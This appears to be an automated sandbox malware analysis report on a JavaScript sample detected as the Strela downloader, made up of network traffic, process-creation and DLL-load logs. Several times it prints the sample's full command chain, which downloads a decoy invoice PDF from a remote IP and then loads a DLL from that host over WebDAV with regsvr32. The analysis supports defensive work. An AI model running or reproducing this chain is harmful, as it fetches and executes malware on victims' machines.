HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2175231816.00000203FA616000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2250429613.000001739317D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2250429613.0000017393128000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2250429613.000001739314D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2250429613.000001739314D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%i
Source: net.exe, 00000007.00000002.2250429613.000001739314D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Ai
Source: net.exe, 00000007.00000002.2250429613.0000017393128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Numy
Source: svchost.exe, 00000009.00000002.3462064865.000002DFB8A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2245423594.000002DFB8800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3916, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 405322677135851429.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/58@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m3eukigo.tb5.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\405322677135851429.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10602417281476799970,6764145300623445967,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1632,i,10602417281476799970,6764145300623445967,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
